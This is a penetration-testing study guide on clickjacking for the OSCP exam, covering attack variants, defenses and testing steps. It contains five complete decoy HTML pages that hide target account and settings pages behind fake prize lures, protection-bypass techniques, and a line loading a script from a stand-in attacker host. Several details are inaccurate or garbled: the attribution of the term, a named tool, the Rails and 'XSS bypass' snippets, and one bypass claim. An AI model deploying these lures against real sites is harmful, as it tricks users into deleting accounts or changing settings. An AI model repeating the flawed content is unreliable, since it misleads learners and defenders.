Domain 2Web App AttacksCORE

Clickjacking

Study notes for Clickjacking covering key PEN-200 methodology and lab techniques.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-05
#Common Web Application Attacks#PEN-200

Clickjacking

Author: OSCP Research Guide | Version: 1.0 | Last Updated: 2026-09-01

This topic covers clickjacking attacks in depth, including iframe-based attacks, UI redress techniques, protection bypass methods, and defense strategies including X-Frame-Options and CSP frame-ancestors.


Table of Contents

  1. Clickjacking Fundamentals
  2. Attack Types and Variations
  3. Complete Attack Payloads
  4. Protection Mechanisms
  5. Protection Bypass Techniques
  6. Detection and Testing Methodology
  7. Mitigation Strategies
  8. OSCP Exam Relevance

1. Clickjacking Fundamentals

What is Clickjacking?

Clickjacking (also known as a UI Redress attack) is a malicious technique that tricks a user into clicking on something different from what the user perceives. This is accomplished by overlaying a transparent or visually deceptive UI element (typically an iframe) on top of a legitimate-looking page. When the user interacts with what they believe is the attacker’s page, their clicks are actually being received by the hidden target page.

The term was coined by security researchers Yaniv Balmas and Jeremiah Grossman in 2008.

How It Works

  1. Attacker creates a deceptive page with innocent-looking buttons, links, or interactive elements
  2. Target site is embedded in a transparent iframe positioned precisely over the deceptive elements
  3. Victim visits the attacker’s page and interacts with what appears to be normal content
  4. Victim’s clicks are actually received by the hidden iframe, triggering actions on the target site
  5. Unwanted actions are performed on the target site without the victim’s knowledge or consent

Attack Flow

┌──────────────────────────────────────────────────────┐
│                  What the Victim Sees                 │
│                                                      │
│           ╔═══════════════════════════╗              │
│           ║   🎉 CONGRATULATIONS!     ║              │
│           ║                           ║              │
│           ║   You won a $1000 prize!  ║              │
│           ║                           ║              │
│           ║   [  CLAIM YOUR PRIZE  ]  ║ ← Visible   │
│           ║                           ║   button     │
│           ╚═══════════════════════════╝              │
│                                                      │
└──────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────┐
│              What's Actually Happening                │
│                                                      │
│   Transparent iframe overlay (opacity: 0):            │
│                                                      │
│   ┌────────────────────────────────────┐            │
│   │  Target Site (target.com)          │            │
│   │                                    │            │
│   │  [Delete Account]  [Transfer $500] │ ← Hidden  │
│   │                                    │   buttons  │
│   │  [Follow User]     [Like Post]     │            │
│   └────────────────────────────────────┘            │
│                                                      │
│   When victim clicks "CLAIM YOUR PRIZE" →           │
│   They actually click "Delete Account" in iframe    │
└──────────────────────────────────────────────────────┘

Prerequisites for Clickjacking

For a successful clickjacking attack, the following conditions must be met:

Condition Description
No framing protection Target site lacks X-Frame-Options or CSP frame-ancestors
Victim is authenticated Victim must be logged into the target site
Action is click-based The target action can be triggered by a single click
Same browsing session Victim’s browser has valid session cookies for the target
No POST-only protection The action does not require a POST with CSRF token (or token is predictable)

Impact Assessment

Impact Level Example Actions Severity
Critical Delete account, transfer funds, change password Critical
High Post content, follow/unfollow, like/dislike High
Medium Change settings, subscribe/unsubscribe Medium
Low Click ads, generate page views Low
Informational Click “agree” on terms, enable features Low

2. Attack Types and Variations

Classic Clickjacking (Single-Click)

The most basic form — a single transparent iframe with a decoy button aligned over a target button.

Characteristics:

  • One iframe, one target action
  • Simple alignment using CSS positioning
  • Requires only a single click from the victim

Multi-Step Clickjacking

Requires multiple clicks in sequence, with the iframe repositioning between clicks.

Characteristics:

  • Multiple iframes or dynamic repositioning
  • JavaScript guides the victim through a sequence
  • Each click triggers a different action

Drag-and-Drop Clickjacking

Uses HTML5 drag-and-drop API to trick users into dragging elements onto hidden drop targets.

Characteristics:

  • Exploits drag-and-drop functionality
  • Victim drags a visible element onto a hidden target
  • Used for file uploads, contact management, etc.

Right-Click Hijacking

Tricks the user into right-clicking on a hidden element, exposing context menu options.

Characteristics:

  • Transparent iframe positioned to capture right-clicks
  • Victim’s right-click opens the target page’s context menu
  • Can expose “Save As”, “Copy Link”, or other sensitive options

Tabnabbing (Reverse Tabnabbing)

A related technique where a link opens in a new tab, and the new tab replaces the original tab’s URL.

Characteristics:

  • Uses target="_blank" without rel="noopener noreferrer"
  • The new tab can modify the opener’s location
  • Victim returns to a phishing page thinking it’s the original

DOM Clickjacking

A variant where the clickjacking is performed entirely within the target application’s own DOM, without external iframes.

Characteristics:

  • No external attacker page needed
  • Exploits the application’s own UI components
  • Bypasses X-Frame-Options (no cross-origin framing)

3. Complete Attack Payloads

Payload 1: Basic Clickjacking

<!DOCTYPE html>
<html>
<head>
    <title>Click to Win!</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background: #f0f0f0;
        }
        .container {
            text-align: center;
            padding-top: 100px;
        }
        iframe {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            pointer-events: auto;
            z-index: 1;
        }
        .decoy-button {
            position: relative;
            z-index: 2;
            padding: 20px 40px;
            font-size: 24px;
            font-weight: bold;
            color: white;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 50px;
            cursor: pointer;
            box-shadow: 0 10px 30px rgba(0,0,0,0.3);
            transition: transform 0.2s;
        }
        .decoy-button:hover {
            transform: scale(1.05);
        }
        h1 {
            color: #333;
            margin-bottom: 10px;
        }
        p {
            color: #666;
            font-size: 18px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🎉 Congratulations!</h1>
        <p>You have been selected as our lucky winner!</p>
        <button class="decoy-button">🎁 CLAIM YOUR PRIZE NOW 🎁</button>
    </div>
    <!-- The invisible iframe is positioned over the decoy button -->
    <iframe src="https://target.com/account/settings" sandbox="allow-scripts allow-forms"></iframe>
</body>
</html>

Payload 2: Precise Positioning with CSS Transform

<!DOCTYPE html>
<html>
<head>
    <title>Free Gift Card</title>
    <style>
        body { margin: 0; overflow: hidden; }

        /* The invisible target iframe */
        #target-frame {
            position: absolute;
            top: -200px;
            left: -100px;
            width: 1200px;
            height: 800px;
            border: none;
            opacity: 0;
            z-index: 1;
            /* Fine-tune position to align target button with decoy */
            transform: scale(1);
        }

        /* The visible decoy layer */
        #decoy-layer {
            position: relative;
            z-index: 2;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
        }

        .fake-button {
            padding: 18px 50px;
            font-size: 22px;
            font-weight: bold;
            color: white;
            background: #e74c3c;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            box-shadow: 0 4px 15px rgba(231, 76, 60, 0.4);
        }

        .fake-button:hover {
            background: #c0392b;
        }
    </style>
</head>
<body>
    <div id="decoy-layer">
        <h1 style="color: #2c3e50;">🎁 You've Won a $500 Gift Card!</h1>
        <p style="color: #7f8c8d; font-size: 16px; margin: 20px 0;">
            Click below to activate your reward
        </p>
        <button class="fake-button">ACTIVATE NOW</button>
    </div>
    <iframe id="target-frame" src="https://target.com/profile/delete-account"></iframe>
</body>
</html>

Payload 3: Multi-Step Clickjacking

<!DOCTYPE html>
<html>
<head>
    <title>Complete Your Profile</title>
    <style>
        body { margin: 0; font-family: Arial, sans-serif; }
        iframe {
            position: absolute;
            opacity: 0;
            width: 900px;
            height: 700px;
            z-index: 1;
        }
        .step {
            text-align: center;
            padding: 50px;
        }
        .next-btn {
            padding: 15px 40px;
            font-size: 20px;
            background: #3498db;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        #step2, #step3 { display: none; }
    </style>
</head>
<body>
    <!-- Step 1: Trick victim into clicking "Enable Feature" -->
    <div id="step1" class="step">
        <h1>Enable Premium Features</h1>
        <p>Click below to unlock exclusive content</p>
        <button class="next-btn" onclick="nextStep(2)">Enable Now</button>
    </div>

    <!-- Step 2: Reposition iframe, trick into clicking "Confirm" -->
    <div id="step2" class="step">
        <h1>Almost There!</h1>
        <p>One more click to confirm</p>
        <button class="next-btn" onclick="nextStep(3)">Confirm</button>
    </div>

    <!-- Step 3: Final action -->
    <div id="step3" class="step">
        <h1>Done! 🎉</h1>
        <p>Your premium features are now active</p>
    </div>

    <iframe id="target" src="https://target.com/settings"></iframe>

    <script>
        function nextStep(step) {
            // Hide current step
            document.getElementById('step' + (step - 1)).style.display = 'none';
            // Show next step
            document.getElementById('step' + step).style.display = 'block';

            // Reposition iframe for each step
            var iframe = document.getElementById('target');
            switch(step) {
                case 2:
                    iframe.style.top = '-100px';
                    iframe.style.left = '-50px';
                    break;
                case 3:
                    iframe.style.top = '-300px';
                    iframe.style.left = '0px';
                    break;
            }
        }
    </script>
</body>
</html>

Payload 4: Drag-and-Drop Clickjacking

<!DOCTYPE html>
<html>
<head>
    <title>Organize Your Files</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        iframe {
            position: absolute;
            opacity: 0;
            z-index: 1;
        }
        .drop-zone {
            width: 300px;
            height: 200px;
            border: 3px dashed #3498db;
            border-radius: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
            background: #ebf5fb;
            margin: 20px auto;
        }
        .draggable-item {
            padding: 10px 20px;
            background: #3498db;
            color: white;
            border-radius: 5px;
            cursor: grab;
            display: inline-block;
            margin: 10px;
        }
    </style>
</head>
<body>
    <h1>Organize Your Contacts</h1>
    <p>Drag the contact card into the folder below</p>

    <div>
        <span class="draggable-item" draggable="true" id="contact">
            👤 Contact Card
        </span>
    </div>

    <div class="drop-zone" id="dropTarget">
        Drop here to save
    </div>

    <!-- Hidden iframe with target's contact management -->
    <iframe src="https://target.com/contacts/manage"
            style="top: 200px; left: 50%; width: 300px; height: 200px;">
    </iframe>

    <script>
        var contact = document.getElementById('contact');
        contact.addEventListener('dragstart', function(e) {
            e.dataTransfer.setData('text/plain', 'contact-data');
        });
    </script>
</body>
</html>

Payload 5: Right-Click Hijacking

<!DOCTYPE html>
<html>
<head>
    <title>Save This Image</title>
    <style>
        iframe {
            position: absolute;
            opacity: 0;
            width: 400px;
            height: 300px;
            z-index: 1;
        }
        .fake-image {
            width: 400px;
            height: 300px;
            background: linear-gradient(45deg, #ff6b6b, #feca57);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            color: white;
            border-radius: 10px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>Right-click to save this beautiful image!</h1>
    <div class="fake-image">🖼️ Beautiful Image</div>

    <!-- Hidden iframe — right-click actually targets the iframe content -->
    <iframe src="https://target.com/sensitive-page"
            style="top: 100px; left: 50%; transform: translateX(-50%);">
    </iframe>
</body>
</html>

4. Protection Mechanisms

X-Frame-Options Header

The X-Frame-Options HTTP response header is the primary defense against clickjacking. It tells the browser whether to allow the page to be displayed in a frame, iframe, embed, or object.

Directive Behavior Use Case
DENY Page cannot be framed by any origin Maximum protection
SAMEORIGIN Page can only be framed by same origin Allow self-framing
ALLOW-FROM uri Page can only be framed by specified origin Legacy, deprecated

Implementation:

# Apache
Header always set X-Frame-Options "DENY"
# Or for same-origin framing:
Header always set X-Frame-Options "SAMEORIGIN"
# Nginx
add_header X-Frame-Options "DENY" always;
# Or:
add_header X-Frame-Options "SAMEORIGIN" always;
# Flask
@app.after_request
def set_headers(response):
    response.headers['X-Frame-Options'] = 'DENY'
    return response
// Express.js
app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    next();
});
// Spring Boot
@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new HandlerInterceptor() {
            @Override
            public void postHandle(HttpServletRequest request,
                                   HttpServletResponse response,
                                   Object handler,
                                   ModelAndView modelAndView) {
                response.setHeader("X-Frame-Options", "DENY");
            }
        });
    }
}

Content-Security-Policy (CSP) frame-ancestors

The frame-ancestors directive in CSP is the modern, more flexible replacement for X-Frame-Options. It specifies which origins are allowed to embed the current page.

Directive Value Behavior
frame-ancestors 'none' Equivalent to X-Frame-Options: DENY
frame-ancestors 'self' Equivalent to X-Frame-Options: SAMEORIGIN
frame-ancestors https://trusted.com Allow framing from specific origin
frame-ancestors 'self' https://trusted.com Allow self and specific origin

Implementation:

# Most restrictive — no framing allowed
Content-Security-Policy: frame-ancestors 'none';

# Same-origin only
Content-Security-Policy: frame-ancestors 'self';

# Specific origins allowed
Content-Security-Policy: frame-ancestors 'self' https://app.example.com https://embed.example.com;

# Combined with other CSP directives
Content-Security-Policy: default-src 'self'; script-src 'self'; frame-ancestors 'none';

Nginx:

add_header Content-Security-Policy "frame-ancestors 'none';" always;

Apache:

Header always set Content-Security-Policy "frame-ancestors 'none';"

JavaScript Frame Busting (Frame Breaking)

JavaScript can detect if the page is being framed and attempt to break out:

// Basic frame busting
if (window.top !== window.self) {
    window.top.location = window.self.location;
}

// More robust version
if (self !== top) {
    top.window.location.href = self.document.location.href;
}

// Prevent being framed by checking origin
if (window.location !== window.parent.location) {
    window.parent.location = window.location;
}

⚠️ Important: JavaScript frame busting is NOT a reliable defense. It can be bypassed (see Section 5). Always use server-side headers as the primary defense.

Protection Mechanism Comparison

Mechanism Browser Support Bypassable Recommended
X-Frame-Options: DENY All modern browsers Rarely Yes (legacy support)
X-Frame-Options: SAMEORIGIN All modern browsers Rarely Yes (if self-framing needed)
CSP frame-ancestors 'none' Modern browsers Rarely Yes (preferred)
CSP frame-ancestors 'self' Modern browsers Rarely Yes (if self-framing needed)
JavaScript frame busting All browsers Yes No (defense in depth only)
ALLOW-FROM directive Limited Yes No (deprecated)

5. Protection Bypass Techniques

Bypassing X-Frame-Options

Technique 1: MIME Type Sniffing

Some older browsers perform MIME type sniffing and may ignore X-Frame-Options if the content type is unexpected:

# Send response with wrong Content-Type
Content-Type: text/plain
X-Frame-Options: DENY

# Some browsers may still render as HTML and ignore the header

Technique 2: XSS to Remove Header

If an XSS vulnerability exists, the attacker can modify response headers or inject framing:

// XSS payload to bypass frame busting
<script>
    if (window.top !== window.self) {
        // Disable frame busting by overriding
        window.top.location = window.top.location;
    }
</script>

Technique 3: Conditional Header Application

If X-Frame-Options is only set on certain pages:

# Check which pages have the header
curl -I https://target.com/protected      # Has X-Frame-Options
curl -I https://target.com/public-page    # Missing X-Frame-Options

# Target unprotected pages for clickjacking

Technique 4: Subresource Injection

If the application loads resources from attacker-controlled domains:

<!-- If target loads scripts from attacker domain -->
<script src="https://attacker.com/malicious.js"></script>

<!-- The script can manipulate the framing behavior -->

Bypassing CSP frame-ancestors

Technique 1: CSP Not Set

Many applications do not implement CSP at all:

# Check for CSP header
curl -I https://target.com/ | grep -i "content-security-policy"

# No output = no CSP = vulnerable to clickjacking

Technique 2: Overly Permissive CSP

# This CSP allows framing from any origin
Content-Security-Policy: default-src 'self'; frame-ancestors *;

# This CSP allows framing from too many origins
Content-Security-Policy: frame-ancestors 'self' https: ;

Technique 3: CSP Report-Only Mode

# Report-only does NOT enforce the policy
Content-Security-Policy-Report-Only: frame-ancestors 'none';

# The page can still be framed — only reports are sent

Bypassing JavaScript Frame Busting

Technique 1: sandbox Attribute

The sandbox attribute on iframes can restrict JavaScript execution, preventing frame busting scripts from running:

<!-- sandbox without allow-scripts blocks JS in the iframe -->
<iframe src="https://target.com" sandbox="allow-forms allow-same-origin"></iframe>

<!-- The frame busting JS cannot execute, but forms can still be submitted -->

This is the most reliable bypass for JavaScript-based protections.

Technique 2: X-Frame-Options on Parent

If the attacker’s page sets X-Frame-Options, it can prevent the frame-busting script from navigating the parent:

// The frame busting script tries:
window.top.location = window.self.location;

// But if the parent has X-Frame-Options, the navigation may fail
// or be blocked by the browser

Technique 3: CSS Pointer Events

/* Disable pointer events on the frame-busting elements */
iframe {
    pointer-events: none;
}

Technique 4: onload Delay

<!-- Load iframe after page is fully loaded, bypassing early detection -->
<iframe src="https://target.com"
        style="opacity: 0; position: absolute;"
        onload="this.style.opacity = '0'; alignFrame();">
</iframe>

<script>
    function alignFrame() {
        // Reposition and align after load
        // Frame busting may have already been neutralized
    }
</script>

Bypass Summary Table

Protection Bypass Method Reliability
No protection Direct iframe embedding 100%
JavaScript frame busting sandbox attribute (no allow-scripts) Very High
JavaScript frame busting CSS pointer-events: none High
X-Frame-Options missing on some pages Target unprotected pages High
CSP report-only Policy not enforced 100%
CSP frame-ancestors * Overly permissive 100%
X-Frame-Options: ALLOW-FROM Target allowed origin Medium
MIME type mismatch Content sniffing Low (older browsers)

6. Detection and Testing Methodology

Manual Testing Steps

Step 1: Check for Framing Protections

# Check X-Frame-Options header
curl -I https://target.com/ | grep -i "x-frame-options"

# Check CSP frame-ancestors
curl -I https://target.com/ | grep -i "content-security-policy"

# Check all security headers
curl -I https://target.com/ | grep -iE "x-frame|content-security|x-content-type"

Step 2: Test Iframe Embedding

<!-- Create a simple test page -->
<!DOCTYPE html>
<html>
<body>
    <h1>Clickjacking Test</h1>
    <iframe src="https://target.com" width="800" height="600"></iframe>
</body>
</html>

Open this page in a browser:

  • If the target loads in the iframe → Vulnerable (no framing protection)
  • If the iframe is blank/broken → Protected (X-Frame-Options or CSP blocking)
  • If the page breaks out of the iframe → JavaScript frame busting detected

Step 3: Test with Sandbox Attribute

<!-- Test if sandbox bypasses JavaScript frame busting -->
<iframe src="https://target.com"
        sandbox="allow-forms allow-same-origin"
        width="800" height="600"
        style="opacity: 0.3;">
</iframe>

Step 4: Test Individual Pages

# Check multiple endpoints for framing protection
for page in / /login /dashboard /settings /profile /admin; do
    echo "=== $page ==="
    curl -sI "https://target.com$page" | grep -iE "x-frame-options|content-security-policy"
done

Step 5: Identify Clickable Targets

Once framing is confirmed possible:

  1. Navigate to the target page within the iframe
  2. Identify sensitive buttons and actions
  3. Note their pixel coordinates
  4. Design decoy UI to align with target elements

Automated Testing Tools

Tool Purpose Command
Burp Suite Intercept and check headers Proxy history → Response headers
OWASP ZAP Automated scan for clickjacking Active Scan → Clickjacking check
nmap Header enumeration nmap --script http-headers -p 80,443 target
curl Quick header check curl -I https://target.com
Nikto Web vulnerability scanner nikto -h https://target.com
safetydates Clickjacking detection CLI tool for framing tests

Burp Suite Testing Workflow

  1. Proxy Analysis:

    • Browse the target application through Burp
    • Check each response for X-Frame-Options and CSP headers
    • Flag any responses missing these headers
  2. Repeater Testing:

    • Send requests to individual endpoints
    • Check if framing headers are consistent across all pages
    • Test API endpoints as well as HTML pages
  3. Intruder for Enumeration:

    • Use Intruder to check multiple endpoints
    • Payload: list of common paths (/admin, /settings, /api/*)
    • Check response headers for each

Testing Checklist

Check Method Pass Criteria
X-Frame-Options present Check response headers Header exists with DENY or SAMEORIGIN
CSP frame-ancestors present Check CSP header frame-ancestors directive restricts framing
Consistent across all pages Test multiple endpoints All pages have framing protection
JavaScript frame busting Test in iframe Page breaks out of iframe (secondary defense)
Sandbox bypass test Use sandbox attribute Page still protected even with sandbox
API endpoints protected Test JSON/API responses API pages also have framing headers
Error pages protected Trigger 404/500 errors Error pages have framing headers

7. Mitigation Strategies

Primary Defenses (Server-Side)

Strategy Implementation Priority
X-Frame-Options: DENY Set on all responses Critical
CSP frame-ancestors ‘none’ Set on all responses Critical
Both headers together Defense in depth Critical

Complete Header Configuration:

# Nginx — recommended configuration
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
# Apache — recommended configuration
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'none';"
Header always set X-Content-Type-Options "nosniff"
# Django middleware
class ClickjackingProtectionMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        response['X-Frame-Options'] = 'DENY'
        response['Content-Security-Policy'] = "frame-ancestors 'none';"
        return response

Secondary Defenses

Strategy Implementation Notes
JavaScript Frame Busting if (top !== self) top.location = self.location Bypassable, use as backup only
CSRF Tokens Require tokens for state-changing actions Prevents automated clickjacking submissions
POST for State Changes Use POST instead of GET for actions Adds friction to clickjacking
Confirmation Dialogs Require explicit confirmation for actions User must consciously confirm
CAPTCHA Require CAPTCHA for sensitive actions Prevents automated attacks
Biometric/Re-auth Require re-authentication for critical actions Strongest user-level protection

Defense-in-Depth Architecture

┌─────────────────────────────────────────────────┐
│          Clickjacking Defense Layers             │
├─────────────────────────────────────────────────┤
│ Layer 1: HTTP Headers (Primary)                  │
│   → X-Frame-Options: DENY                        │
│   → CSP: frame-ancestors 'none'                  │
│   → Applied to ALL responses (including APIs)    │
├─────────────────────────────────────────────────┤
│ Layer 2: Request Method Protection               │
│   → State-changing actions use POST only         │
│   → Anti-CSRF tokens on all forms                │
│   → No sensitive actions via GET requests        │
├─────────────────────────────────────────────────┤
│ Layer 3: User Confirmation                       │
│   → Confirmation dialogs for destructive actions │
│   → Re-authentication for critical operations    │
│   → CAPTCHA for high-risk actions                │
├─────────────────────────────────────────────────┤
│ Layer 4: JavaScript (Backup)                     │
│   → Frame busting as last resort                 │
│   → Detect and warn about framing attempts       │
└─────────────────────────────────────────────────┘

Framework-Specific Implementations

Django:

# settings.py
# Built-in middleware (enabled by default)
MIDDLEWARE = [
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    # ...
]

# Set globally
X_FRAME_OPTIONS = 'DENY'

# Per-view override
from django.views.decorators.clickjacking import xframe_options_deny

@xframe_options_deny
def sensitive_view(request):
    return render(request, 'sensitive.html')

Rails:

# config/application.rb
config.middleware.insert_before 0, Rack::ClickJacking do |request|
  # DENY all framing
  'DENY'
end

# Or per-controller
class ApplicationController < ActionController::Base
  append_filter SetXFrameOptions
end

ASP.NET Core:

// Program.cs
app.UseAntiforgery();
app.Use((context, next) =>
{
    context.Response.Headers.Add("X-Frame-Options", "DENY");
    context.Response.Headers.Add(
        "Content-Security-Policy", "frame-ancestors 'none';");
    return next();
});

8. OSCP Exam Relevance

Frequency and Importance

Clickjacking is a moderate-frequency topic on the OSCP exam. While not as common as SQL injection or command injection, it appears in:

  • Web application boxes with custom frameworks
  • Bug bounty-style challenges within exam machines
  • Part of attack chains combined with CSRF or XSS
  • Information disclosure leading to further exploitation

Common OSCP Scenarios

Scenario 1: Missing X-Frame-Options

  1. Enumerate web application and check security headers
  2. Discover X-Frame-Options header is missing
  3. Confirm the page can be framed in an iframe
  4. Identify a sensitive action (e.g., “Delete User”, “Change Password”)
  5. Create clickjacking payload aligned with the target action
  6. In exam context, demonstrate the vulnerability with proof

Scenario 2: Clickjacking + CSRF Combination

  1. Find missing X-Frame-Options on a form page
  2. Discover the form lacks CSRF token protection
  3. Combine clickjacking (to trick the click) with CSRF (to submit the form)
  4. Perform unauthorized action on the target application

Scenario 3: Inconsistent Header Protection

  1. Main pages have X-Frame-Options: DENY
  2. API endpoints or error pages lack the header
  3. Target the unprotected endpoint for clickjacking
  4. Exploit the unprotected page to perform actions

Key Testing Commands for OSCP

# Quick header check
curl -I http://target.com/ | grep -iE "x-frame|content-security"

# Check multiple pages
for p in / /admin /settings /api/users; do
    echo "--- $p ---"
    curl -sI "http://target.com$p" | grep -i "x-frame-options"
done

# Test iframe embedding
echo '<iframe src="http://target.com" width=800 height=600></iframe>' > test.html
# Open test.html in browser — if content loads, vulnerable

Exam Tips

  1. Always check headers first — A quick curl -I can reveal missing protections
  2. Test all pages — Protection may be inconsistent across the application
  3. Look for GET-based actions — These are easiest to clickjack
  4. Combine with CSRF — If both protections are missing, the impact is higher
  5. Document with screenshots — Show the iframe embedding and aligned UI
  6. Check for sandbox bypass — If JS frame busting is the only defense, use sandbox
  7. Look for custom frameworks — Custom apps often forget framing protections
  8. API endpoints matter — Even JSON responses should have framing headers

Practice Resources

Resource Type Focus
OWASP Clickjacking Guide Documentation Comprehensive reference
PortSwigger Web Security Academy Labs Hands-on clickjacking labs
DVWA (Damn Vulnerable Web App) Local app Clickjacking module
bWAPP Local app Multiple clickjacking scenarios
HackTheBox (various machines) CTF Real-world clickjacking

Proof of Concept Template for Exam Report

## Clickjacking Vulnerability

### Description
The web application at http://target.com does not implement framing protection
(X-Frame-Options or CSP frame-ancestors), allowing the page to be embedded in
an iframe on an attacker-controlled site.

### Evidence

$ curl -I http://target.com/settings HTTP/1.1 200 OK Server: Apache/2.4.41

No X-Frame-Options header present

No Content-Security-Policy header present


### Impact
An attacker could create a deceptive page that overlays the target application
in a transparent iframe, tricking authenticated users into performing unwanted
actions such as changing settings, deleting data, or authorizing transactions.

### Proof of Concept
[Include screenshot of successful iframe embedding]
[Include screenshot of aligned clickjacking payload]

### Remediation
1. Add `X-Frame-Options: DENY` header to all responses
2. Add `Content-Security-Policy: frame-ancestors 'none';` header
3. Implement CSRF tokens for all state-changing actions

This study guide covers the essential knowledge for understanding, exploiting, and defending against clickjacking attacks. Master these concepts for both the OSCP exam and real-world penetration testing engagements.